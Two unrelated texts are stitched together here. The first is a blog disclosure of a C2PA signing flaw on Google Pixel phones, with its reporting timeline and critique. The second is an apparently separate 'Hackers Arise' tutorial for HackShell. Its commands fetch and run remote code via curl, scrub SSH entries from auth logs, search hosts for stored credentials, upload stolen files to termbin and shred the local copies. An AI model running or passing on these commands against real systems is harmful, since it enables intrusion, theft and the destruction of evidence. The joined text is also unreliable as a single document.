1. Using ChatGPT, I generated the source picture of a unicorn cow being milked.


2. ChatGPT's picture was a PNG with an embedded C2PA manifest. I stripped out the manifest and re-encoded the picture as a JPEG.


3. I found a different picture from a Pixel 10 and copied over the metadata. This way, the forgery had all of the correct metadata fields for that camera. I intentionally left the EXIF date wrong (dated 2025-08-29 02:10:17 GMT) and set the EXIF camera model name to "Pixel 10 Pro Totally Legit".


4. I sent my forgery to retr0id.


5. Two minutes later (not kidding), retr0id sent the signed forgery back to me. That two minutes includes receiving the image from me, transferring it to the Google Pixel for signing, signing it, and zipping it up to send back to me. Just the data transfers probably took him a minute and a half. This means that it's mostly an automated exploit. (He's released some of his tools on GitHub and a technical write-up on his blog.)

The example demonstrates how someone with a Google Pixel device could sign any picture (real, fake, AI generated, etc.) as if it came from the Google Pixel's camera. Moreover, the forgery (excluding my intentional artifacts) is indistinguishable from a real photo. C2PA's metadata provides no reliable assurance of provenance or authenticity.

The Vulnerability

I'm going to be intentionally vague here because I don't want to enable bad actors. However, the vulnerability isn't very deep and anyone who can get past the first step is almost certainly able to exploit it.

When I asked retr0id how he did it, he sent me back a wonderful picture that explains the process:



The C2PA signing keys are in a subsystem called 'StrongBox'. This is a secure storage area for handling the keys. The keys go in and never come out. You need a special program in the Trusted Execution Environment (TEE) to access the keys. This special program sends data to be signed by the keys and receives the signature.

The exploit:

Step 1: Get root on the device.
This is the hardest part. The Android operating system is intentionally locked down, so it's hard to get root access.

A common attack for Android devices replaces the bootloader. However, replacing the bootloader requires a factory reset, so you cannot access any secrets or protected data that existed prior to unlocking. To implement the exploit, retr0id needed root access without a reset.

As a hardware specialist, retr0id used a well-known chip-based approach to get a root shell. His implementation was hardware-specific, but the underlying methodology has been around for at least a decade. Moreover, preventing this attack vector requires completely redesigning the hardware architecture.

However, we are not limited to a hardware exploit. During the 90-day responsible disclosure waiting period, two other software-only exploits came out that also granted root access. (Exploit #1 and Exploit #2.) It doesn't matter that these software exploits have been patched; a malicious attacker won't patch their system and can gain root access on their own device. (As far as I can tell, you can still take signed photos, even if the device hasn't been patched recently.)

Regardless of your method, you just need to get root on the device.

Step 2: Sign your data
Find the program that signs the C2PA metadata using the protected keys. Use the program to sign anything. This is a Confused Deputy attack. When using Android's secured environment, only the TEE program can submit data to be signed, but the root user can provide any data to the signing program. Fixing this part of the problem requires redesigning the entire Android security model. In other words, there is no easy patch.

If you have root on the Pixel device (and you didn't change the bootloader), then you can sign any file as if it came from the Pixel camera. The signature will be legitimately signed by Google.

As an aside: For most exploits, saying "start with root" means that additional exploits add nothing. If you have root, then you already control everything. I.e., creating more backdoors is trivial if you can already alter every file. However, with Google and C2PA, we're not using root to stay on the device; we're using it to create authoritative files. Those files will leave the device as the forgeries are disseminated. With this attack vector, gaining root is just the beginning.

Reporting Timeline

I currently have over 40 blog entries about C2PA problems, and most of them disclose distinct vulnerabilities. While the public didn't know most of these problems until I made them public, none of the vulnerabilities have been new to C2PA members.

For this Pixel vulnerability, we recorded the reporting history:

1. We reported it, via email and verbally, to both Google and C2PA representatives. The reporting included details and the demonstration picture. Following best practices for responsible disclosure, we gave them 90 days to respond. (Today, Aug 25, is 90 days from the initial vendor reporting, and about 9 months since the theoretical vulnerability was disclosed.)
   
   
   • We reported it to Google because the exploit is explicitly demonstrated against Google's flagship product, the Pixel series of Android devices.
   
   
   • We reported it to C2PA because the Pixel 10 was the first "Level 2" conforming product. Assurance Level 2 means that it must protect the signing keys. However, while the keys are protected from extraction by the Android StrongBox, this exploit shows that the keys can still be used to sign anything. In effect, the keys are unprotected. So either Google is not Level 2 conforming (false advertising), or they are Level 2 on paper but not in the implementation (deceptive practices), or Level 2 is grossly insufficient for providing any kind of assurance (misleading). In any case, this is definitely a C2PA conformance program problem.


2. I made it clear that I planned to blog about this problem. But I also offered to work with them on the release cycle. For example, if they were about to provide a patch, then I would be willing to delay the blog and coordinate a release. Both Google and C2PA repeatedly acknowledged my offer during the 90-day period. However, I received no feedback from either organization.


3. Google has a bounty program that pays researchers for finding vulnerabilities. I never signed up because Google requires agreeing to legal terms. (Even if I conceptually agree to the reasons behind their terms, I cannot sign anything that could be construed as a legal agreement. I just want to report a bug.) However, retr0id doesn't have those same limitations. Since he implemented it, we (PASAWG, myself, and Google) asked him to submit it through Google's Vulnerability Reward Program (VRP). He did.


4. Google's VRP almost immediately sent retr0id two emails. The first said that the vulnerability was out of scope. The second said to ignore the first email and that it was in scope. They did end up logging it as a received report.


5. Fast forward two months. Retr0id received an email from Google's VRP. (I am including it here with his permission.)
   

   jo...@google.com #9 Jul 14, 2026 12:36AM
   
   Status: Won't Fix (Infeasible).
   
   Hello,
   
   The Android Security Team has conducted an initial severity assessment on this report. Based on our published severity assessment matrix (1) it was rated as not being a security vulnerability that would meet the severity bar for inclusion in an Android security bulletin. If you have additional information that you believe we should use to reassess this report, please let us know.
   
   Please note that notwithstanding our severity rating and the closure of this external bug, we may nonetheless pass this issue on to the feature team for remediation. Therefore, please know that we appreciate this submission and any future contributions.
   
   The Resolution Notes label has been set to NSBC (Not Security Bulletin Class) to reflect this assessment.
   
   Thank you,
   Android Security Team.
   (1) Severity Matrix: https://source.android.com/security/overview/updates-resources#severity
   
   How did we do? Please fill out a short anonymous survey.

   They closed it out as a "Won't Fix (Infeasible)". Google defines "Won't Fix (Infeasible)" as "The changes that are needed to address the issue are not reasonably possible."
   
   More importantly, Google labeled it as "NSBC (Not Security Bulletin Class)". This code means that it either isn't a security vulnerability or isn't considered severe. In effect, Google explicitly said that a vulnerability in Google's flagship Pixel product line, which permits anyone to sign anything as if it legitimately came from the camera, is not a significant security vulnerability. I disagree with Google: verifiable history (provenance), reliable source attribution, and secure key management are explicitly security concerns. (See NIST SP 800-193 Platform Firmware Resiliency Guidelines, NIST SP 800-57 Recommendation for Key Management, and NIST SP 800-53 Rev. 5 Security and Privacy Controls for Information Systems and Organizations.) This demonstrates a fundamental disconnect between how Google views "OS platform boundaries" and "content provenance integrity".

It took a while, but retr0id did receive payment for reporting this bug to Google. VRP bounties are only for security issues. By paying the bounty, Google implicitly confirms that this bug is a security problem, even though it was classified as NSBC and kept out of the security bulletin. The NSBC classification also means no CVE was assigned, which keeps the issue out of regulatory tracking, enterprise compliance audits, and the National Vulnerability Database (NVD).

We have done our due diligence for reporting this problem. Google has decided to downplay the vulnerability, claiming that it isn't a noteworthy security issue. In contrast, C2PA did not respond at all.

Revoking Certificates

Within days of demonstrating the bug and sharing the sample image, Google revoked the X.509 signing certificate used for the glitter-milk picture. That sounds like responsible incident response on the surface, but in practice, it reveals a fundamental flaw in how Content Credentials interact with public key infrastructure (PKI). Keep in mind, they quickly revoked the certificate (a security response), despite Google's formal response weeks later saying that it was not significant enough for a security bulletin.

There are two major problems with relying on revocation to fix forged media:

1. Validators Don't Check Revocation
   The current C2PA specification does not require validators to perform revocation checks. As of this writing, I am unaware of any conforming validator products that check whether a manifest's certificate has been revoked. So even though Google revoked the certificate for the glitter-milk photo, most C2PA validation tools will still happily report the image as authentic.


2. The Privacy Paradox: Unique Signing Certificates
   To prevent third parties from tracking users across photos, Google designed their C2PA implementation to issue an ephemeral, unique signing certificate for every single photo.
   
   The trust chain looks like this:
   
   
   • Root CA: Google's root certificate sits on the C2PA-managed trust list.
   
   
   • Intermediate Certificate: Google's root issues an intermediate certificate. As far as I can tell, every Pixel device uses the same set of intermediate certificates.
   
   
   • Leaf Certificate: The intermediate cert issues a brand-new, single-use leaf certificate that is used to sign an individual image capture.
   
   Because every picture gets its own unique signing certificate, revoking the glitter-milk certificate only invalidated that one specific photo. This does not prevent retr0id (or anyone else with this exploit) from generating millions of additional forged images on that exact same compromised Pixel.

This signing approach, with unique signatures per picture, introduces serious problems:

• Ineffective Revocation: Google can only revoke certificates for forgeries that are actively discovered and reported to them. Unreported forgeries remain 100% valid.


• Denial of Service: An attacker running an automated batch script could sign millions of synthetic images. Reporting all of these intentional forgeries would likely swamp Google's certificate revocation infrastructure.
  
  (At the technical level: this is an attack against the ingest pipeline and OCSP signer; C2PA does not support CRLs for revocation. Google currently lacks a portal or documented process for users to submit individual forged photos for revocation. If Google were to build a portal without rate-limiting, it risks becoming a bandwidth/DoS problem on its own. If they add CAPTCHA or other throttling to protect the ingest pipeline, then known forgeries may not be submitted in a reasonable time, and humans could become discouraged. Moreover, bulk OCSP revocation could plausibly strain cryptographic signing throughput.)


• Verification Problem: When a user submits a picture to Google for revocation, how does Google know that it really is a forgery? With the glitter-milk example, we explicitly showed them how it was made. However, a malicious person could submit legitimate photos and claim they are forgeries. Google needs some way to identify whether a signed picture from a Pixel device is actually from the camera. This remains a hard problem. Depending on their implementation, Google could reject real forgery reports if the verification process is too strict or revoke legitimate photos if it's too lenient.
  
  
  • Without C2PA: Individual analysts must evaluate the media using whatever tools they have available.
  
  
  • With Google's C2PA signature: When someone submits a picture for revocation, the onus is on Google to provide the verification. (I suspect that nobody asked Google's legal department about whether the company wanted to be put in the position of validating all pictures.) Keep in mind: the entire premise of C2PA is that Google cannot otherwise verify whether a picture is authentic, so asking Google to verify whether a revocation request's media is real just restates the same unsolved problem.


• Painted Into a Corner: With the current architecture, Google cannot revoke the device's intermediate certificate without instantly invalidating every authentic, legitimate Pixel photo ever taken. Google's revocation approach effectively becomes all or nothing. In either case, they cannot stop one individual from creating signed forgeries.

Since the core exploit impacts Android's StrongBox and TEE architecture, revoking individual certificates does not resolve this problem. Revoking a certificate, only to have an attacker compromise the replacement certificate in the exact same way, is not an effective security solution.

By choosing privacy through single-use certificates, and without addressing local key abuse, Google created a system where revoking a compromised image is nothing more than security theater.

Real-World Problems

It is easy to treat "Glitter Milk" as an amusing and harmless proof-of-concept. But the implications of a broken content provenance model are anything but funny.



Image provenance is critical for determining whether the media represents something real or fake. Whether it's a political proof-of-life, images of war or strife, or even something less extreme, like an insurance claim, there are direct consequences from forged provenance.

• This Mitch McConnell picture has no camera-original metadata, but does include an XMP record showing that it was altered with an Adobe application hours before being released to the public. If someone replaced the metadata with fake Google Pixel information, and then had it signed by a real Google Pixel device, would it be more trustworthy?


• The second picture is from an artist who creates AI-generated pictures of life in Russia. If we removed the Facebook re-encoding artifacts and had it signed by a Google Pixel device, would you think it was authentic?


• The third picture is part of a product defect claim. Unlike the first two, this one isn't hypothetical: it carries a cryptographically-valid C2PA signature that genuinely came from a Google Pixel device. But now that we've shown that same "came from a camera" signature can be applied to non-camera media, should you trust it?

It's hard enough to debunk one false picture. However, with a little effort, a malicious actor could add in fake camera metadata and have it authoritatively signed by a trusted device. That significantly increases the effort to debunk a picture since it has the backing of Google's cryptographic signature as an unbreakable "official truth". (Remember kids: Strong cryptography over untrusted data does not make the data more trustworthy.)

Untrusted By Design

This glitter-milk picture demonstrates how any image can be assigned false provenance and signed with a cryptographically valid Google signature. Moreover, this problem also works in reverse: genuine photos with signatures can be easily dismissed as "just another C2PA forgery." Regardless of the ground truth, an analyst cannot determine if a picture is real or fake based on Google's implementation of C2PA; the signature effectively means nothing.

Google's initial announcement made some extraordinary claims that have failed to stand up to scrutiny:

• Claim: "Pixel and Android are bringing a new level of trust to your images with C2PA Content Credentials".
  
  Fact: The devices can be used to sign any file, real or fake, with legitimate C2PA-signed claims identifying that the media came from the camera. This does not introduce a new level of trust; it enables a new way to commit fraud and disinformation.


• Claim: "The Pixel 10 lineup is the first to have Content Credentials built in across every photo created by Pixel Camera."
  
  Fact: This is false. Nikon shipped C2PA Content Credentials in Z6 III firmware in late August 2025, weeks before Google's announcement. Days later, researcher Adam Horshack showed the camera could be used to sign arbitrary images, forcing Nikon to indefinitely suspend the service and revoke every certificate it had issued. Google isn't first; it's just the first to repeat Nikon's mistake with better marketing.


• Claim: "Pixel Camera app achieved Assurance Level 2 ... only possible on the Android platform."
  
  Fact: While they acquired Assurance Level 2 on paper, it appears to be absent from the implementation. Moreover, they stated that protecting the keys from signing arbitrary images is not possible ("Won't Fix (Infeasible)"), so whatever Assurance Level 2 is meant to guarantee, it clearly doesn't hold up in practice on the Android platform.


• Claim: "A private-by-design approach to C2PA certificate management, where no image or group of images can be related to one another or the person who created them."
  
  Fact: While true, this prevents them from revoking future pictures from a known-compromised device. A device that has been rooted and is generating signed forgeries can continue to operate unabated.


• Claim: "Pixel 10 phones support on-device trusted time-stamps, which ensures images captured with your native camera app can be trusted after the certificate expires, even if they were captured when your device was offline."
  
  Fact: While it is true that the Pixel 10 has a built-in trusted time-stamp service, that does not mean that it is only applied to "images captured with your native camera app". This claim is misleading.

In effect, Google's C2PA-enabled devices provide no reliable protections or 'truth' about the media -- and Google knows it.

Flawed Foundations

The problems detailed in this blog are not limited to the Google Pixel or its C2PA Assurance Level 2 rating. These problems are fundamental and impact other C2PA implementations. For example, Evergreen Labs has a C2PA Assurance Level 2 application called "GreenCheckmark" (screenshot) that can be used to sign any image or video as if it came from the device. However:

• C2PA's Conformance Program only checks the paperwork for compliance, not the implementation. In this case, the Conformance Program states that the app has Level 2 assurance.


• According to Evergreen Labs, the app received approval for Level 2, but only implemented Level 1. There is no C2PA-provided or user-identifiable information that identifies this discrepancy.


• Even if the app was fully implemented, Assurance Level 2 requires using Android's StrongBox/TEE, and Google already stated that it knows the environment does not provide adequate protections ("Won't Fix (Infeasible)").

GreenCheckmark isn't the point of failure here; failures are inherited from Google and C2PA.



If you still believe that C2PA works, then I have news for you: Scientists have created multi-colored sheep for dye-free yarn. According to Adobe Inspect (a conforming validator) and CAI Verify, this is legitimate "captured media" from a camera, signed by GreenCheckmark, and it is a Level 2 conformant application (screenshot). Similarly, YouTube's description reports that this video clip from the CGI movie "Big Buck Bunny" is signed by Evergreen Labs and "Captured with a camera" (screenshot).

The same class of vulnerability exists for Android and iOS (except that iOS is harder to root). Moreover, retr0id has additional working demonstrations from many other C2PA-enabled apps, including Proofmode (a Level 1 conformant app; see forgeries at Adobe Inspect and CAI Verify). To date, no C2PA implementations are immune to signing forged media.

We live in an era of deep skepticism, where public trust in visual media is at an all-time low. Proponents of C2PA argue that cryptographic signing solves this problem: if an official photo carries a valid, hardware-backed C2PA signature, the public can trust it. But the truth is that the C2PA signature carries no weight for providing any type of reliable authentication, validation, or provenance. Instead, it turns every device into a powerful tool for laundering disinformation as fact, which is worse than doing nothing.

Special thanks to retr0id, Shawn, and PASAWG for their assistance. All vendors whose products are shown signing forgeries in this blog were notified of the problem. Claude and Gemini were used to help write portions of the code for these demonstrations. (At one point, we had to pause for a few hours after running out of free tokens.) Getting root is hard. Writing the code to implement the vulnerability is a very low bar and can be done with an AI assistant.

Welcome back, aspiring cyberwarriors!

In one of our Linux Forensics articles we talked about how widespread Linux systems are. Most of the internet runs on Linux. ISPs rely on it for deep packet inspection, servers host sites on it. Cameras, routers and cash registers run Linux based firmware too. Critical infrastructure depends heavily on Linux as well, from gas stations to industrial control systems.

Master OTW has a great series showing how cameras can be exploited and later used as proxies. Once hackers control a device like that, it becomes a doorway into the organization. And if they’re Linux systems, that means they run Bash. Bash is already a powerful friend to admins and hackers, but we can make it even more stealthy.

We will look at HackShell today. It was built to upgrade your Bash environment during a pentest. HackShell was developed by The Hacker’s Choice and the tool is actively maintained. To evade detection, it loads entirely in memory and doesn’t need to write itself to disk. That reduces the number of artifacts left on a system.

Setting Up

Once you get a shell, load HackShell directly into memory:

bash$ > source <(curl -SsfL https://thc.org/hs)
# or
bash$ > eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"

You are all set. When it loads, it does some light enumeration to find details about the machine. This system had gs-netcat running as persistence.

If the compromised host doesn’t have internet access, for example when it sits inside an air-gapped environment, you can manually copy and paste the contents of the HackShell into /dev/shm. Old machines may have compatibility issues, to bypass them run these commands:

bash$ > bash -c 'source <(curl -SsfL https://thc.org/hs); exec bash'
bash$ > source <(curl -SsfL https://thc.org/hs)

Now we are ready to see what it’s capable of.

Capabilities

The developers of HackShell put a lot of thought into what you might need during a pentest. Many helpful commands are built directly into the shell. You can list these commands with xhelp.

We will walk through some of the most interesting ones. The main thing here is stealth. Many commands here reduce the amount of forensic evidence left behind.

Evasion

Here are some commands that will help you reduce your forensic artefacts. 

xhome

This command temporarily sets your home directory to a randomized path under /dev/shm. This only affects your current HackShell session and doesn’t modify the environment for other users who log in. Files in /dev/shm stay in memory and don’t persist across reboots.

bash$ > xhome

xlog

When hackers connect over SSH, their login events appear in the auth log and other places. HackShell can remove these events selectively.

bash$ > xlog '1.2.3.4' /var/log/auth.log

xtmux

Tmux is normally used by admins for long-running tasks. There you can manage multiple terminal windows and keep sessions running after disconnects. In our forensic cases we saw hackers wiping storage using dd inside tmux sessions. That way the system keeps erasing data even if the network connection drops.

This command launches an invisible tmux session:

bash$ > xtmux

Enumeration and Privilege Escalation

Once you’ve changed your home directory and cleaned the logs, you can learn more about the system you work with.

ws

WhatServer shows a detailed overview of the environment. It lists storage, active processes, logged-in users, open sockets, listening ports and more.

lpe

LinPEAS is well-known. It’s a privilege escalation auditing script. It’s frequently updated and often used by pentesters. HackShell can run it directly in memory.

bash$ > lpe

The script will find possible paths to privilege escalation. We already had root on this system, that’s why the output was so rich. But you can work with it under any user account.

hgrep

Credentials can sit in different files and configs. You can hgrep certain keywords to find those files.

bash$ > hgrep pass

This can speed things up.

scan

HackShell can scan hosts and print greppable output, that makes it easy to find open ports across the infrastructure.

bash$ > scan PORT IP

loot

That’s a really useful command. Loot searches through configs and known locations in an effort to find stored creds or sensitive data. It doesn’t always find everything, but it’s definitely worth giving it a shot.

bash$ > loot

If you don’t find much, use lootmore:

bash$ > lootmore

When results are incomplete, use CredsHound.

Lateral Movement and Data Exfiltration

Normally, you don’t exfiltrate data during a pentest unless it’s necessary to test the infrastructure. Mishandling exfiltrated data can expose sensitive information to the internet, which could violate your agreement with the client. Be careful.

tb

This command uploads content to termbin.com. Files uploaded this way become publicly accessible. This must be used with caution. 

bash$ > tb secrets.txt

After you extract data, delete the local copy:

bash$ > shred secrets.txt

xssh and xscp

These commands work similarly to SSH and SCP, but minimize exposure. Defenders may have automatic alerts set up for new SSH sessions, so careless movement can trigger an incident response. 

Connect to another host:

bash$ > xshh root@IP

Upload a file to /tmp on the remote machine:

bash$ > xscp file root@IP:/tmp

Download a file from the remote machine to /tmp:

bash$ > xscp root@IP:/root/secrets.txt /tmp

Summary

HackShell can make your Bash really stealthy. There’s still much more to explore in the tool. If you’re a defender, take the time to study it, see how it loads and find the servers it connects to. This can help you create useful IOCs and strengthen your detection.

If you like ethical hacking, you will enjoy our Cyberwarrior Path. This is a three-year training journey built around a two-tier education model. During the first eighteen months you progress through a big library of courses that develop that will develop your skills. Once those payments are complete, you unlock Subscriber Pro level training that opens the door to advanced topics. This structure was created because students asked for flexibility. You can keep growing and improving without carrying an unnecessary financial burden.

The post Linux: HackShell – Bash For Hackers first appeared on Hackers Arise.